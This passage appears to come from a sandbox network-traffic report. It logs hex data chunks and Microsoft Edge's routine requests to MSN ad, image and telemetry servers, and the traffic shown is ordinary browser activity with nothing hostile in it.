2024-01-17 23:35:20 UTC	16384	IN	Data Raw: b1 f2 ce b0 ba 89 ef ac e3 9b ec e4 7b 9f e9 cc 7a 7e 91 6e 93 d0 93 9c 19 8d d9 4c 45 23 15 d5 8c 34 01 35 25 60 35 b6 1b 59 c3 33 d2 49 de 75 22 08 89 03 e3 13 89 f2 0d 6a 6c de ed 7b 38 d9 58 dd e5 56 95 33 04 9e 80 e7 a5 af 8b 45 5f a7 4a 57 63 2f 9a c2 7c cd 1b 98 11 e1 32 73 cf f2 78 a3 f5 ce 16 b2 a0 b6 c4 48 12 e7 fb 84 67 44 26 09 a5 18 2c e5 12 07 1a ac ae 4f ac c5 14 12 8a 04 a5 4a 58 00 35 dd ae 3e 1f 8b c8 5a 6b 4e 21 ae f7 52 95 90 c6 b5 30 08 d0 c4 37 c7 34 f8 3e dd 57 e9 d3 93 c9 72 b5 b1 8d a8 a4 b4 0d 0c b7 41 9b 4c fc 44 50 ad fe 64 e2 aa 8a 76 24 84 04 6d 7f 33 7e 61 18 e5 9a a0 01 a6 ea 04 06 af e4 b0 1e 9e 5d 34 d7 cc ae b7 b4 04 41 63 1d 6c ac 93 b7 c9 bb a8 f1 11 a6 37 51 f4 6a 6e 37 a4 6a 43 e7 7b 54 43 6e f2 85 24 02 df cf 15 e4 Data Ascii: {z~nLE#45%`5Y3Iu"jl{8XV3E_JWc/\|2sxHgD&,OJX5>ZkN!R074>WrALDPdv$m3~a]4Acl7Qjn7jC{TCn$
2024-01-17 23:35:20 UTC	7952	IN	Data Raw: f4 ee ae c0 43 b0 70 62 1f b8 04 63 d4 a5 76 6f 60 0a 8a a1 76 16 67 11 00 ee 22 22 31 4e 3f 25 bd 64 ae 8b 82 b3 d9 67 a8 bb 26 02 83 e6 fc 7a 65 b0 17 54 f3 52 e4 b5 16 bd f7 70 19 1a af 51 51 48 12 a0 40 23 a7 d6 71 1b 47 e9 ec 02 ba d8 f1 d7 68 d1 89 d9 3a 4a 89 d1 74 ec 34 ca 0e 17 21 ef a0 29 29 b1 86 e2 48 2d 13 3b be b8 e2 bd bc 7b dd 0a 97 b4 20 6f 52 d6 2c 4a ee ff 00 67 7c 89 10 34 ad 13 88 2f 54 c1 e4 ef 14 ef 85 b3 71 16 05 24 8f 05 f3 80 7a c4 e5 ad 45 be d8 b2 96 2d 5e 88 f2 20 18 2d bb 5e df 3c 97 52 b5 d9 6d 4a cc d7 25 77 2d 6b 2c 09 43 d5 57 b7 c7 11 1e a3 35 f6 ab 4d 15 ab 38 40 80 2a 86 ec 5d 77 02 60 eb 1a e2 89 7f f6 a6 43 69 54 5a 79 0b ca 81 3b 7f c9 b4 28 1a ee 53 24 85 10 27 09 57 22 d3 cb d8 4e 84 38 b1 09 06 27 51 a0 d7 ae b9 Data Ascii: Cpbcvo`vg""1N?%dg&zeTRpQQH@#qGh:Jt4!))H-;{ oR,Jg\|4/Tq$zE-^ -^<RmJ%w-k,CW5M8@*]w`CiTZy;(S$'W"N8'Q
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: f2 aa a7 6a f1 55 e5 d7 59 e1 f1 ed a8 00 0b 11 06 7a eb 3f cb 18 a2 94 6e 02 93 21 88 26 01 ef af 41 8a b4 85 4a 83 1f 2b 12 35 88 9d 08 cd 41 5f a7 58 0c 08 d9 21 4a f8 40 18 89 60 1f 8a 62 ae dc 2a aa e8 c2 92 95 b0 5d a3 68 dd a6 a0 00 66 06 05 69 87 49 72 cc 35 30 22 41 d0 4c e3 0e 29 b1 c2 3e a0 2e e2 a3 ac 93 a6 bf 0c 5a db 6a 0a c8 a4 59 6b 0f b4 0d f2 46 a2 48 1e 39 40 96 52 40 25 1f db e8 e3 d3 cf a2 a6 97 9d ee 64 f4 9e 9d 3e 2b 9a 3e f3 47 ea 42 bd 40 6f 56 1a 93 b4 90 03 6e fc 73 25 7d 5a 6b 17 5a 9e 8d fb 95 5b 7c bf 61 3b 36 f6 f1 c3 59 ce b1 d9 90 e8 a7 47 02 60 91 dd 48 f1 9c ca 42 46 62 51 34 8a d6 36 88 5b 21 52 97 4a 95 d2 c4 0a 01 de 4a ac 77 81 0d 83 bf 8e ce 96 d6 b0 ac 1c aa c0 80 04 09 33 ff 00 13 8d aa aa d5 65 87 41 ea 10 4c 91 Data Ascii: jUYz?n!&AJ+5A_X!J@`b*]hfiIr50"AL)>.ZjYkFH9@R@%d>+>GB@oVns%}ZkZ[\|a;6YG`HBFbQ46[!RJJw3eAL
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: ee 3a e3 fc 9a 47 a5 5d d5 28 dd 5c 89 3a 0d ac 27 f9 8c 47 99 ce 1c 0e 13 da 2b 7b c4 ec 26 06 df 34 88 69 23 ca 32 cb b8 94 6a fb 24 19 88 29 6b ee 6e 22 f2 8b 38 aa d5 07 a4 1d c4 89 ee 46 bf 0c a5 17 70 b8 f4 8f fc 83 57 b8 ae d5 be e5 0d ea 08 04 95 f2 ea 34 cf 3d 6f 2b 94 78 0d ca 08 85 17 fc 77 5a 21 ec 76 b0 ed 0c cd 66 a3 a6 91 d3 31 1d ad b5 9a 59 9c 00 37 30 32 60 76 d7 37 18 ae 15 2d c5 64 67 6e cb dd 71 fd cb db b9 2e 82 bb 05 4a 92 14 15 0b d4 fd a2 3b 40 f1 ef 83 bb 89 57 27 dc d1 ef e7 ef 08 08 44 00 6f 02 0f 94 95 90 17 c2 73 ca fb 4d 0f c8 e5 54 95 d4 0b 12 bb c1 90 3a f7 07 c7 3e 81 47 b7 d3 c4 40 bc 7a fd 1a c6 ac 8a 77 06 6e e5 fc 72 32 5b 8e 80 d5 89 55 17 95 48 dc 05 9e 9c ba 77 16 b7 8d 65 95 a2 1a 91 ab 40 e0 88 eb 0b b9 84 81 8a Data Ascii: :G](\:'G+{&4i#2j$)kn"8FpW4=o+xwZ!vf1Y702`v7-dgnq.J;@W'DosMT:>G@zwnr2[UHwe@
2024-01-17 23:35:20 UTC	7952	IN	Data Raw: 6a e5 d8 8d 53 f1 98 00 48 d0 ea c8 09 3b 4e ba 7f a6 5e de 1b d9 c7 3b 6d b6 bb 0d 80 a0 5d 86 1b a7 98 32 9e 9d f5 cb 33 62 c4 ea 54 81 f2 09 5e 35 76 ab f2 52 db 14 27 90 b1 6d 53 d3 51 3d 44 13 3a 8c cf f7 ae 16 ff 00 6a b2 da 9f 62 71 ac dc 53 4f 36 e3 b5 4f fe c9 d3 eb 9a 1c 64 23 dc 51 6c b0 b6 f4 66 2a bb 80 23 6a a4 43 fc 44 e7 73 f8 34 df 47 22 b2 e2 a6 75 35 fa 87 cc 00 0e 4b 7d 72 41 ea 35 d5 8a 08 78 fc 52 b7 f0 f8 ef 5f 1a df 5d 28 ac 43 ad 65 56 5a db 00 69 6d df 76 87 4d 33 0b dd 43 d7 72 89 9d c3 70 65 10 35 3b 7f fc e9 cd f3 c0 af 8d ff 00 cb b4 86 b0 d2 86 d5 10 f0 f4 af 95 d4 9f b6 60 e9 98 2d 5f 36 d1 49 4a d3 8d 45 82 6c 55 d4 75 dc 5c 83 a8 99 f9 4e 74 63 35 a5 6a b2 98 a5 52 05 c5 84 6e 90 da 80 3b 69 a6 4a 2b 0b 36 f4 d0 10 3e 66 Data Ascii: jSH;N^;m]23bT^5vR'mSQ=D:jbqSO6Od#Qlf*#jCDs4G"u5K}rA5xR_](CeVZimvM3Crpe5;`-_6IJElUu\Ntc5jRn;iJ+6>f
2024-01-17 23:35:20 UTC	16384	IN	Data Raw: 73 7b a5 26 d6 7b 36 ee d0 b3 fd e4 02 37 1c 4e d4 03 72 cc a9 9f 5f 35 6e 35 82 a1 52 3b 3a 0d a1 54 28 92 c4 03 f7 44 e9 03 23 dc 2b 3e 8a b2 23 11 d0 1d 5a 37 78 cc f8 e5 78 b7 8b 38 eb 67 1a bb 02 90 36 3d 80 82 c4 6b 3d b4 3e 3d 32 9c 8e 47 31 2c 5a d9 0d 95 dc 76 35 a1 84 57 2a 5a 59 4f 49 03 4c 03 99 38 a7 10 91 a0 63 54 9f 26 a1 c9 e1 72 2b a8 6f 72 c0 d8 26 04 04 64 50 26 7b c6 39 cc aa ce 7f 15 02 fa 69 c6 60 8f eb bb b7 62 7f 22 88 68 f8 9c 4b 85 cc a7 d6 e4 0b 08 ad 76 d2 ca 17 56 d6 57 51 ae ba 8c 37 12 fb 57 da e9 95 01 aa 25 6c 45 00 9d 37 15 0a 83 c4 46 12 04 16 1f 6c 83 3f 30 98 20 d7 88 5e 7b f6 e6 ff 00 d7 f2 8a 3c b0 46 01 88 d0 ee 71 e6 23 c3 4c f4 a2 d2 5c ee 56 62 57 6c 8f 2f 55 9e bf 97 55 9c c1 fd b3 49 35 f2 ed 04 87 f5 15 1d 57 Data Ascii: s{&{67Nr_5n5R;:T(D#+>#Z7xx8g6=k=>=2G1,Zv5W*ZYOIL8cT&r+or&dP&{9i`b"hKvVWQ7W%lE7Fl?0 ^{<Fq#L\VbWl/UUI5W

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.6	50059	20.96.153.111	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:21 UTC	1580	OUT	GET /v3/Delivery/Events/Impression?PID=425882903&TID=700466142&CID=128000000004387349&BID=373206758&PG=IRIS000001.0000000244&TPID=425882903&REQASID=D962A26C9BFA4966FC60431F9E70BE3E&ASID=c7ccf88a56c64ad7bb50b4920a20a146&SLOT=1&REQT=20240117T233519&MA_Score=2&EDGEID=5518710994624701133&DS_EVTID=c7ccf88a56c64ad7bb50b4920a20a146&BCNT=1&PG=IRIS000001.0000000244&UNID=88000244&MAP_TID=146FFD76-B339-4768-A3C1-6927957363FF&NCT=1&ASID=D962A26C9BFA4966FC60431F9E70BE3E&REQASID=D962A26C9BFA4966FC60431F9E70BE3E&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=154.16.192.193&ID=5518710994624701133&OPTOUTSTATE=256&HTTPS=1&DEVOSVER=10.0.19045.2006&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=19045&DEVOSMINBLD=2006&ABUILD=117.0.5938.150&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=150&MARKETBASEDCOUNTRY=US&CLR=ESDK&CFMT=&H=0&W=0&FESVER=1.3&ACHANNEL=4&ADEFAB=1&OPSYS=WIN10&UITHEME=LIGHT&PAGECONFIG=547&CHNL=CFD&UIT=E HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1
2024-01-17 23:35:21 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 17 Jan 2024 23:35:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.6	50106	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:23 UTC	611	OUT	GET /tenant/amp/entityid/undefined.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:23 UTC	312	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: 41867476-0eb3-4129-b158-3b872b3d5390 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 15 Cache-Control: public, max-age=5 Date: Wed, 17 Jan 2024 23:35:23 GMT Connection: close
2024-01-17 23:35:23 UTC	15	IN	Data Raw: 49 6d 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Image Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.6	50109	23.55.235.225	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:23 UTC	606	OUT	GET /undefined.mp4 HTTP/1.1 Host: prod-streaming-video-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:24 UTC	290	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Content-Length: 1245 Date: Wed, 17 Jan 2024 23:35:24 GMT Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-01-17 23:35:24 UTC	1245	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.6	50107	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:23 UTC	1048	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534522128&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 12298 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-01-17 23:35:23 UTC	12298	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 32 2e 31 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-01-17T23:35:22.126Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"locale
2024-01-17 23:35:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c33a1329a92d4260a90f5f1d365c553c&HASH=c33a&LV=202401&V=4&LU=1705534523843; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a0f2fa049baf4cb9833bc0ef5a91833c; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1715 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.6	50108	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:23 UTC	1047	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534522133&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 6623 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-01-17 23:35:23 UTC	6623	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 32 2e 31 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-01-17T23:35:22.132Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"locale
2024-01-17 23:35:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7294f25d11ca4dc3af59821f256d94a7&HASH=7294&LV=202401&V=4&LU=1705534523867; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0b33d0ea7fb7443b867b2b97a47276ae; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1734 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.6	50116	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:24 UTC	1048	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534523132&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11101 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-01-17 23:35:24 UTC	11101	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 33 2e 31 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-01-17T23:35:23.131Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"loc
2024-01-17 23:35:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d749306692314538b15ddb7094c92c84&HASH=d749&LV=202401&V=4&LU=1705534524726; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:24 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ef56debe2cb84201bef695961ea68782; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:24 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1594 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.6	50120	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:25 UTC	1037	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534523644&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 6654 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00
